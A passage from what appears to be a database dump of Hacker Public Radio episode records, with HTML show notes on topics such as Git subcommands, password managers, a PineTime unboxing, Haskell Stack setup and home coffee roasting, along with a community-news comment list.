\"<em>Common lisp portable games including acl2 formal logic</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0416.html\" target=\"_blank\">screwtape</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3789#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2023-02-09:\n\"Great First Episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3789#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-09:\n\"Nice show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3791#comments\" target=\"_blank\">hpr3791</a></strong>\n(2023-02-13) \"<em>My Hardware Problem - Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0417.html\" target=\"_blank\">StarshipTux</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3791#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-02-13:\n\"Keyboard Addiction\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3792#comments\" target=\"_blank\">hpr3792</a></strong>\n(2023-02-14) \"<em>Learning to read music, part one</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0415.html\" target=\"_blank\">enistello</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3792#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-02-14:\n\"What fun!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3792#2\" target=\"_blank\">Comment 2</a>:\njezra on 2023-02-15:\n\"quite possibly the most toe-tapping episode of HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3793#comments\" target=\"_blank\">hpr3793</a></strong>\n(2023-02-15) \"<em>RE: Zen_Floater2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3793#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-15:\n\"Appraising the show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3793#2\" target=\"_blank\">Comment 2</a>:\nSome Guy on The Internet on 2023-02-21:\n\"You are welcome kind Squirrel.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3796#comments\" target=\"_blank\">hpr3796</a></strong>\n(2023-02-20) \"<em>Dependent Types</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0418.html\" target=\"_blank\">David Thrane Christiansen</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3796#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2023-02-22:\n\"Concise and clear\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3797#comments\" target=\"_blank\">hpr3797</a></strong>\n(2023-02-21) \"<em>How to submit changes to HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-22:\n\"Very cool\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2023-02-22:\n\"Repo Location\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2023-02-24:\n\"Automated build on Gitlab\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#4\" target=\"_blank\">Comment 4</a>:\nrho`n on 2023-02-25:\n\"Sweet! nice work norrist\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3797#5\" target=\"_blank\">Comment 5</a>:\nrho`n on 2023-02-25:\n\"RE: Registering at https://repo.anhonesthost.net\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3798#comments\" target=\"_blank\">hpr3798</a></strong>\n(2023-02-22) \"<em>Laptop Second SSD MXLinux Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-22:\n\"lol\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-23:\n\"OBS-STUDIO comment.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#3\" target=\"_blank\">Comment 3</a>:\nMechatroniac on 2023-02-25:\n\"reply to zenfloater2\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3798#4\" target=\"_blank\">Comment 4</a>:\nLuna bittin Jernberg on 2023-02-27:\n\"Slackware Grub\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3799#comments\" target=\"_blank\">hpr3799</a></strong>\n(2023-02-23) \"<em>My home router history</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0342.html\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3799#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2023-02-26:\n\"Extremely entertaining\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3799#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-02-26:\n\"Custom Routers\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3800#comments\" target=\"_blank\">hpr3800</a></strong>\n(2023-02-24) \"<em>NIST Quantum Cryptography Update 20221008</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3800#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-02-26:\n\"moore\'s law\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3800#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2023-02-26:\n\"Very Interesting\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-February/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3554,'2022-03-17','Guide to the Science and Technology Section of Bitchute',775,'Guide to some cool science and tech channels on Bitchute','<p>Forgot to mention this channel in the podcast<br />\r\n<a href=\"https://www.bitchute.com/channel/yourprivacytv/\" class=\"uri\">https://www.bitchute.com/channel/yourprivacytv/</a></p>\r\n<p>Cozytime<br />\r\n<a href=\"https://www.bitchute.com/channel/2mM8L9mZnvjt/\" class=\"uri\">https://www.bitchute.com/channel/2mM8L9mZnvjt/</a></p>\r\n<p>Grassroots Mechanic Movement<br />\r\n<a href=\"https://www.bitchute.com/channel/miGkQfBM24NZ/\" class=\"uri\">https://www.bitchute.com/channel/miGkQfBM24NZ/</a></p>\r\n<p>too lazy to add any more channels... make an account and you can browse and subscribe too.</p>\r\n',401,0,1,'CC-BY-SA','bitchute,videos,technology,science',0,0,1),
(3541,'2022-02-28','The case of missing ideas.',940,'With negotiation painful barely legible robotic voices will develop into beautiful expressive music ','<p>Just a mixed up overview of cases in the natural human languages of Russian and English types.</p>',398,0,1,'CC-BY-SA','language , cases , russian , grammar , ideas',0,0,1),
(3542,'2022-03-01','The Worst Car I Ever Had',651,'Beeza releases 30 years of frustration about a particularly dreadful car he once owned.','<p>Most of us who drive have probably owned a number of cars over the years. Some are inevitably better than others but there may be one which stands head and shoulders above the rest as the WORST car we\'ve ever owned.</p>\r\n<p>In this episode Beeza gets off his chest a tale of woe regarding a rogue car he had the misfortune to own in the mid 80s.</p>\r\n<p>Maybe other HPR listeners will care to tell their own horror stories in due course......</p>\r\n',246,0,0,'CC-BY-SA','Cars, automobiles',0,0,1),
(3544,'2022-03-03','All my microphones',655,'A show recording using every microphone I had to hand.','<p>I used the following microphones in roughly reverse order of my expectations of their quality:</p>\r\n<ul>\r\n<li><a href=\"https://www.bluemic.com/en-gb/products/yeti/\">Blue Yeti</a> via USB</li>\r\n<li>Plantronics headset via USB (no link as over 10 years old)</li>\r\n<li>Laptop (ASUS ZenBook UX550VD) internal mic</li>\r\n<li>Desktop mic on a Windows 10 PC via a jack plug (no link as over 10 years old)</li>\r\n<li>Phone (Samsung S9+) internal microphone</li>\r\n<li>Same phone but with <a href=\"https://www.willful.info/willful/products/earbuds/40.html\">T1 bluetooth earbuds</a></li>\r\n</ul>\r\n<p>All audio is mono. I used Audacity to record on my laptop at 44.1kHz. For the desktop mic I had to resort to using my son\'s desktop Windows 10 PC and Windows recording app which defaulted to 48kHz and I think it was the app rather than the mic that resulted in the surprisingly poor quality. It definitely sounds like some kind of noise gate is being applied but I didn\'t dig around to see what settings were available. For my phone\'s built-in mic I used Samsung\'s voice recording app which I presume came pre-installed on the phone. Recording via bluetooth on an android phone turned out to be tricky as the OS only wants you to use a bluetooth microphone for calls however I found an app called <a href=\"https://play.google.com/store/apps/details?id=com.wimlog.bluvoicerecorder&amp;hl=en_GB&amp;gl=US\">Bluetooth Headset Voice Recorder</a> and then enabled call audio on bluetooth and was able to record (the rubbish) audio.</p>\r\n<p>I edited this show in audacity and contrary to my normal practice I did <em>not</em> remove noise from any of the recordings so that you can hear any hiss in all its glory. I did however tweak the gain on each track manually so that they were about the same volume.</p>\r\n',268,0,1,'CC-BY-SA','audio,microphone,headset,Plantronics,ASUS ZenBook UX550VD',0,0,1),
(3548,'2022-03-09','Make a custom Git command',1177,'Make Git subcommands with shell scripts and Git rev-parse','<p>\r\nHow to make your own Git subcommands with shell scripts, and then how to pass arguments to them with git rev-parse. </p>\r\n\r\n<p>\r\nFor a real-world example of Git in scripts and hooks, see <a href=\"https://gitlab.com/slackermedia/git-portal\" target=\"_blank\">Git-portal</a>.</p>\r\n\r\n<p>The joke site Klaatu mentions in the episode is \r\n<a href=\"https://git-man-page-generator.lokaltog.net\" target=\"_blank\">git-man-page-generator</a>. It\'s a <strong>joke</strong> site. Do not attempt to run these commands. However, it could be fun inspiration on what Git command you could make next&#33;</p>\r\n',78,81,0,'CC-BY-SA','git',0,0,1),
(3547,'2022-03-08','Password Managers',811,'How I manage password security.','<h2 id=\"how-i-manage-password-security\">How I manage password security.</h2>\r\n<ol>\r\n<li><strong><a href=\"https://bitwarden.com/\">Bitwarden</a></strong></li>\r\n</ol>\r\n<ul>\r\n<li><a href=\"https://bitwarden.com/download/\">Bitwarden Download Options</a></li>\r\n<li><a href=\"https://bitwarden.com/compliance/\">Bitwarden Security and Compliance</a></li>\r\n</ul>\r\n<ol start=\"2\">\r\n<li><strong><a href=\"https://keepassxc.org/\">KeePassXC</a></strong></li>\r\n</ol>\r\n<ul>\r\n<li><a href=\"https://keepassxc.org/download/#linux\">KeePassXC Downloads</a></li>\r\n<li><a href=\"https://keepassxc.org/docs/KeePassXC_GettingStarted.html\">KeePassXC Documentations</a></li>\r\n</ul>\r\n<hr />\r\n<p><a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative Commons Attribution-ShareAlike 4.0 International License</a>.</p>\r\n',391,74,0,'CC-BY-SA','Password Managers, Online Security, Bitwarden, KeePassXC',0,0,1),
(3552,'2022-03-15','Unboxing a PineTime development kit',1684,'Rho`n talks about his new PineTime smart watch development kit','<h1>Synopsis</h1>\r\n\r\n<p>In this episode, Rho`n unboxes his new PineTime smart watch development kit, and gives his initial impressions. The development kit consists of two watches. One watch is fully assembled and ready for daily use. The other watch is disassembled, consisting of a watch band, the watch back cover, and the assembled display, system on a chip (SOC), CPU, and battery. The kit also comes with a serial cable for connecting from your computer to the SOC.</p>\r\n\r\n<p>The following are the photographs taken during the unboxing.</p>\r\n\r\n<style>\r\ndiv#figures {\r\n display: flex;\r\n flex-direction: row;\r\n flex-wrap: wrap;\r\n justify-content: center;\r\n}\r\ndiv#figures figcaption { max-width: 490px; }\r\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\r\n</style>\r\n\r\n<div id=\"figures\">\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3552/01.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/01-sm.png\"\r\n alt=\"Box containing PrimeTime development kit beside PineTime Pogopin Jig\"></a>\r\n <br>\r\n <figcaption>Box containing PrimeTime development kit beside PineTime Pogopin Jig</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3552/02.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/02-sm.png\"\r\n alt=\"Open box displaying watch faces\"></a>\r\n <br>\r\n <figcaption>Open box displaying watch faces</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3552/03.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/03-sm.png\"\r\n alt=\"Contents of the development kit\"></a>\r\n <br>\r\n <figcaption>Contents of the development kit</figcaption>\r\n</figure>\r\n<figure>\r\n <a href=\"https://hackerpublicradio.org/eps/hpr3552/04.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3552/04-sm.png\"\r\n alt=\"Assembled watch on a charger\"></a>\r\n <br>\r\n <figcaption>Assembled watch on a charger</figcaption>\r\n</figure>\r\n</div>\r\n\r\n<h1>References</h1>\r\n\r\n<ul>\r\n <li>InfiniTime firmware - <a href=\"https://github.com/InfiniTimeOrg/InfiniTime\">https://github.com/InfiniTimeOrg/InfiniTime</a></li>\r\n <li>PineTime watch - <a href=\"https://www.pine64.org/pinetime/\">https://www.pine64.org/pinetime/</a></li>\r\n <li>PineTime development kit - <a href=\"https://pine64.com/product/pinetime-dev-kit/\">https://pine64.com/product/pinetime-dev-kit/</a></li>\r\n <li>PineTime forum - <a href=\"https://forum.pine64.org/forumdisplay.php?fid=134\">https://forum.pine64.org/forumdisplay.php?fid=134</a></li>\r\n <li>PineTime Pogopin Jig - <a href=\"https://pine64.com/product/pinetime-pogopin-jig/\">https://pine64.com/product/pinetime-pogopin-jig/</a></li>\r\n</ul>\r\n\r\n',293,0,0,'CC-BY-SA','pinetime, pine64, smart watch, InfiniTime',0,0,1),
(3551,'2022-03-14','Bash snippet - some possibly helpful hints',1475,'Using \'eval\', \'mapfile\' and environment variables','<h2 id=\"overview\">Overview</h2>\r\n<p>I write a moderate number of Bash scripts these days. Bash is not a programming language as such, but its quite powerful in what it can do by itself, and with other tools its capable of many things.</p>\r\n<p>I have enjoyed writing such scripts for many years on a variety of hardware and operating systems, and Bash is my favourite - partly because Linux itself is so flexible.</p>\r\n<p>This is just a short show describing three things I tend to do in Bash scripts to assist with some tasks I find I need to undertake.</p>\r\n<ol type=\"1\">\r\n<li>Generate Bash variables from a text file - usually output from a program</li>\r\n<li>Fill Bash arrays with data from a file or other source</li>\r\n<li>Use environment variables to control the Bash scripts execution</li>\r\n</ol>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3551/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Various links:\r\n<ul>\r\n<li><a href=\"https://unix.stackexchange.com/questions/23111/what-is-the-eval-command-in-bash\">What is the “eval” command in bash?</a></li>\r\n<li><a href=\"https://www.shell-tips.com/bash/arrays/\">A Complete Guide on How To Use Bash Arrays</a></li>\r\n<li><a href=\"https://www.computerhope.com/unix/bash/mapfile.htm\">Bash mapfile builtin command</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/html_node/Simple-Command-Expansion.html\">Bash manual 3.7.1 Simple Command Expansion</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous episodes in this series about arrays:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">Bash Tips - 16</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">Bash Tips - 17</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2729\">Bash Tips - 18</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2739\">Bash Tips - 19</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2756\">Bash Tips - 20</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,eval,mapfile,environment variables',0,0,1),
(3559,'2022-03-24','Linux Inlaws S01E52: The Zig Project',4151,'An interview with Loris Cro of Zig Fame','<p>In this episode Martin and Chris have a very special guest: Loris Cro of\r\nZig fame. Zig fame? Stay tuned. Not only is Loris an ex-colleague of our two\r\naging heroes, he is also the community vice president at the Zig Software\r\nFoundation. So this episode will be all about this new programming language,\r\nwhy you should use it (and perhaps why you shouldn\'t) and life, the universe\r\nand the rest. And Rust. Of course. :-) Full disclosure: In contrast to other\r\nepisodes, this one is really tech-heavy and may offend the less technical\r\nlisteners. Listen at your own discretion if you want to into the weeds of\r\nClang, LLVM, typing and cross-compilation - you have been warned. If this is\r\nup alley, you may want consider seeking professional help just in case :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Zig: <a href=\"https://ziglang.org\" target=_blank>https://ziglang.org</a></li>\r\n<li>Zig Foundation financial update: <a href=\"https://ziglang.org/news/financials-update\" target=_blank>https://ziglang.org/news/financials-update</a></li>\r\n<li>Clang / LLVM: <a href=\"https://clang.llvm.org\" target=_blank>https://clang.llvm.org</a></li>\r\n<li>Rust: <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Cargo: <a href=\"https://doc.rust-lang.org/cargo\" target=_blank>https://doc.rust-lang.org/cargo</a></li>\r\n<li>Mitchell\'s Tweet: <a href=\"https://twitter.com/mitchellh/status/1481441162871279618?s=20&t=OBGncJWN4B0N7mhflxlAbg\" target=_blank>https://twitter.com/mitchellh/status/1481441162871279618?s=20&t=OBGncJWN4B0N7mhflxlAbg</a></li>\r\n<li>501cs (only read this if you can\'t get to sleep!): <a href=\"https://en.wikipedia.org/wiki/501(c)_organization\" target=_blank>https://en.wikipedia.org/wiki/501(c)_organization</a></li>\r\n<li>Miami Vice: <a href=\"https://www.imdb.com/title/tt0086759\" target=_blank>https://www.imdb.com/title/tt0086759</a></li>\r\n<li>Lord of the Rings Trilogy: <a href=\"https://www.imdb.com/list/ls072068350\" target=_blank>https://www.imdb.com/list/ls072068350</a></li>\r\n<li>Land of the Blind: <a href=\"https://www.imdb.com/title/tt0433405/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0433405/?ref_=fn_al_tt_1</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Zig, Zig Software Foundation, Rust, Money, Miami Vice, US Non-Profits',0,0,1),
(3553,'2022-03-16','Freedom of speech in open source',1432,'Is it free speech if you have to leave?','<ol>\r\n<li><strong><a href=\"https://constitution.congress.gov/constitution/\">First Amendment</a></strong> <em>(United States Constitution)</em>.<br />\r\nCongress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.</li>\r\n</ol>\r\n<hr />\r\n<ol start=\"2\">\r\n<li>Read arch users the riot act.</li>\r\n</ol>\r\n<ul>\r\n<li><p><strong><a href=\"https://librivox.org/\">LibriVox</a></strong></p>\r\n<ul>\r\n<li><a href=\"https://librivox.org/the-riot-act-by-british-parliament/\">LibriVox: The Riot Act Download</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Cw6RtudEPl8\">Youtube: The Riot Act by LibriVox</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Riot_Act\">Wikipedia</a></p>\r\n<ul>\r\n<li><a href=\"https://www.gutenberg.org/files/8142/8142-h/8142-h.htm\">Full text of the Riot Act</a></li>\r\n</ul></li>\r\n</ul>\r\n',391,69,1,'CC-BY-SA','Free Speech',0,0,1),
(3562,'2022-03-29','Creating a new project with Haskell and Stack',1230,'Tuula explains how to create a new haskell project and build it','<h1 id=\"stack\">Stack</h1>\r\n<p><a href=\"https://docs.haskellstack.org/en/stable/README/\">Stack</a> is a cross-platform program for developing Haskell projects. It features:</p>\r\n<ul>\r\n<li>Installing GHC automatically, in an isolated location.</li>\r\n<li>Installing packages needed for your project.</li>\r\n<li>Building your project.</li>\r\n<li>Testing your project.</li>\r\n<li>Benchmarking your project.</li>\r\n</ul>\r\n<p>Follow <a href=\"https://docs.haskellstack.org/en/stable/README/\">installation instructions</a> to get it installed in your system.</p>\r\n<h1 id=\"starting-a-new-project\">Starting a new project</h1>\r\n<p>Our game will be called Treasure Dungeon. After installing stack, we\'ll open a new terminal window, change into some suitable directory and use stack to create our project: <code>stack new treasure-dungeon rio</code>.</p>\r\n<p>This will create directory <code>treasure-dungeon</code> and initialize it by using <code>rio</code> template. <a href=\"https://hackage.haskell.org/package/rio\">rio</a> is a standard library that I have recently started using. There\'s a <a href=\"https://www.fpcomplete.com/haskell/library/rio/\">tutorial</a> available if you want to learn more about it. We\'ll cover only very basics while writing the game.</p>\r\n<h2 id=\"package.yaml\">package.yaml</h2>\r\n<p>Next step is to modify the project settings for the project that was created for us. Have a look at license file and change that to your liking. Then open up <code>package.yaml</code> and edit some of the metadata:</p>\r\n<ul>\r\n<li><code>git</code> this should point to your public repository</li>\r\n<li><code>license</code> this has machine readable info about the license terms</li>\r\n<li><code>author</code> here you should fill in your info</li>\r\n<li><code>maintainer</code> this is the person currently maintaining the package</li>\r\n<li><code>copyright</code> Copyright information</li>\r\n<li><code>executablebles</code> this section lists executable, you may want to edit the name</li>\r\n</ul>\r\n<p>I have a repository at <a href=\"https://codeberg.org/Tuula/treasure-dungeon\">codeberg</a> if you want to have a look what settings I ended up with.</p>\r\n<h2 id=\"stack.yaml\">stack.yaml</h2>\r\n<p>Having finished with <code>package.yaml</code>, save it and start editing <code>stack.yaml</code>. Here we change only one setting: - resolver: lts-18.27, this specifies which set of libraries to use. These are fetched from <a href=\"https://www.stackage.org/\">Stackage</a>.</p>\r\n<p>Final step is to edit <code>README.md</code> to suit your needs.</p>\r\n<h1 id=\"using-stack\">Using stack</h1>\r\n<p>Now we can work on our project. Lets start by building it: <code>stack build</code>. This will build the example code. There\'s one library and one executable there. If everything went correctly, we can start our executable with <code>stack exec -- treasure-dungeon</code>. This should print a little message on screen and exit. We can also turn on verbose logging, by starting the project with <code>stack exec -- treasure-dungeon --verbose 2&gt; log.txt</code>.</p>\r\n<p>Another useful command is <code>stack test</code>, which will compile and run tests for the project. There\'s couple simple ones as an example created by the template.</p>\r\n<p>And if you want to clean up your project of intermediate files and exes, you can use <code>stack clean</code>.</p>\r\n<h1 id=\"project-structure\">Project structure</h1>\r\n<p>Final thing before finishing, let\'s have a look at the project structure. There\'s three directories: <code>app</code>, <code>src</code> and <code>test</code>.</p>\r\n<p><code>app</code> contains code for our executable. This is where we will be placing big portion of the code, mainly one that deals with user interactions.</p>\r\n<p><code>src</code> contains code for our library. This is where we will be placing code that codifies rules of the game. We want to keep this part of the code oblivious about outside world, like screens, user input and such.</p>\r\n<p><code>test</code> this is where tests live. We aren\'t going to do much with them most likely.</p>\r\n<h1 id=\"in-closing\">In closing</h1>\r\n<p>We started our card game project. It doesn\'t do much yet, but we already have an executable that we can build and run. Next time we\'ll look into how to roll a new character and get them equipped before venturing into treasure dungeon.</p>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, programming, getting started',0,0,1),
(3555,'2022-03-18','PopKorn Episode 1: The Fallacy of the Unreasonable Effectiveness of Mathematics in the ETC',969,'BlacKernel tries talking off the cuff with mixed results','<h1>Talking Points</h1>\r\n<ul>\r\n <li>The concept of PopKorn</li>\r\n <li>The statement of \"The Unreasonable Effectiveness of Mathematics in the Natural Sciences\"</li>\r\n <li>The Fine-structure Constant</li>\r\n <li>The Axiom of Extentionality</li>\r\n <li>Why proofs of God are crap</li>\r\n <li>The \"First Mover\" argument of St. Thomas Aquinus</li>\r\n <li>The Blind Watchmaker by Dawkins</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h1>Show Notes</h1>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n <li><a href=\"https://apps.kde.org/kwave/\">KWave</a></li>\r\n <li><a href=\"https://freesound.org/people/Trollarch2/sounds/331656/\">Keyboard Typing - FreeSound.org</a></li>\r\n <li><a href=\"https://rationalwiki.org/wiki/Non_sequitur\">Non-Sequitur Argument</a></li>\r\n <li><a href=\"https://rationalwiki.org/wiki/Circular_reasoning\">Circular Reasoning</a></li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/The_Unreasonable_Effectiveness_of_Mathematics_in_the_Natural_Sciences\">The Unreasonable Effectiveness of Mathematics in the Natural Sciences</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Fine-structure_constant\">Fine-structure Constant</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Axiom_of_extensionality\">Axiom of Extentionality</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Cosmological_argument\">\"First Mover\" or Cosmological Argument</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Watchmaker_analogy\">Watchmaker Analogy</a></li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/The_Blind_Watchmaker\">The Blind Watchmaker by Dawkins</a></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n',396,0,1,'CC-BY-SA','improv, math, popkorn, fallacy',0,0,1),
(3556,'2022-03-21','TTS for HPR',226,'Few voice samples to swap espeak TTS in HPR intro','<p>Used the <a href=\"https://github.com/synesthesiam/opentts\">opentts</a> Project with default settings. The voices you will hear in order:</p>\r\n<ul>\r\n<li>coqui_en_ljspeech</li>\r\n<li>larynx_northern_english_male</li>\r\n<li>larynx_southern_english_female</li>\r\n<li>larynx_scottish_english_male</li>\r\n<li>larynx_glados</li>\r\n</ul>\r\n<p>I found the gladOS voice funny, hence I included that one, but these are the best sounding to my knowledge so far.</p>\r\n<p>I have seen that with there will be a new mimic release version 3 soon, which has a really great voice. And example with the voice of Alan Pope <a href=\"https://www.youtube.com/watch?v=QZmf1jk86y0\">mycroft_demo</a>. And synesthesiam who\'s working on these projects said that there will be hopefully a model, which can be trained with actual voice, which would fine tune the voice to sounds more like someone else.</p>\r\n',402,0,0,'CC-BY-SA','tts, hpr',0,0,1),
(3563,'2022-03-30','Home Coffee Roasting, part 1',1123,'What it\'s like to roast coffee at home','<h2 id=\"links\">Links</h2>\r\n<p><a href=\"https://www.sweetmarias.com/guatemala-huehuetenango-boqueroncito-6846.html\">Example of a coffee page</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/green-coffee-outlook-march-2022-for-sweet-marias-and-coffee-shrub/\">Green coffee outlook for March</a></p>\r\n<p><a href=\"https://www.youtube.com/watch?v=r9xMarGcGp8\">A neat video of first crack</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/glossary/\">Coffee Glossary</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/good-reads-what-happened-to-zimbabwe-coffee/\">Article on Zimbabwe coffee</a></p>\r\n<p><a href=\"https://library.sweetmarias.com/ethiopian-cini-coffee-cups-at-sweet-marias/\">Ethiopian Cini cups</a></p>\r\n<p>If I left anything out, let me know in the comments or email me.</p>\r\n<p>I think I mentioned in the show that I would put in the sound of first crack, but then it didn\'t work because the motor was too loud and you couldn\'t hear anything. Sorry.</p>\r\n<p>For part 2, see <a href=\"https://hackerpublicradio.org/eps.php?id=3573\">hpr3573</a></p>\r\n',399,88,0,'CC-BY-SA','coffee,\"coffee 